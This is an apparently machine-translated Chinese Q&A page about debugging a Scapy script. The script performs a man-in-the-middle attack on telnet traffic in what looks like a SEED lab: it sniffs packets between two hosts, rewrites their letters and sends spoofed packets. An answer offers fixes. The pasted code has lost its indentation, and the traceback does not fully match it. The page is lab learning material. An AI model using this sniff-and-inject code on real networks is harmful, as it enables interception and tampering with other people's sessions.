TypeError:当试图根据TELNET(已编辑)探查和欺骗数据包时,需要一个整数



在对telnet/netcat使用MITM攻击时,试图嗅探和欺骗数据包,但我在发送欺骗数据包时收到了这些消息。

telnet攻击代码:

#!/usr/bin/python3 
from scapy.all import *
def spoof_pkt(pkt):
data = pkt[TCP].payload.load
print("*** %s, length=: %d" % (data, len(data)))
newpkt = IP(pkt[IP])
del(newpkt.chksum)
del(newpkt[TCP].payload)
del(newpkt[TCP].chksum)
data_list = list(data)
for i in range(0, len(data_list)):
**(LINE 19)** -> if chr(data_list[i]).isalpha():
data_list[i] = ord('A')
newdata = bytes(data_list)
send(newpkt/newdata)
pkt = sniff(filter="tcp and host 10.0.2.7", prn=spoof_pkt)

错误消息(已编辑!新错误(

> Original Packet.........
('Source IP: ', '10.0.2.5')
('Destination IP: ', '10.0.2.7')
('Message: ', 'a')
Message Length: 1
Traceback (most recent call last):
File "./telnet", line 27, in <module>
pkt = sniff(filter='tcp port 23', prn=spoof_pkt)

File "/home/seed/.local/lib/python2.7/site-packages/scapy/sendrecv.py", line 780, 
in sniff r = prn(p)
File "./telnet", line 19, in spoof_pkt
if chr(data_list[i]).isalpha(): 
TypeError: an integer is required

您可以用bytes()包装您的IP数据包。

类似:newpkt = IP(bytes(pkt[IP]))

我还觉得你会因为识别错误而出现TypeError: an integer is required错误。应该是:

for i in range(0, len(data_list)):
if chr(data_list[i]).isalpha():
data_list[i] = ord('A')
newdata = bytes(data_list)
send(newpkt/newdata)

相关内容

  • 没有找到相关文章

最新更新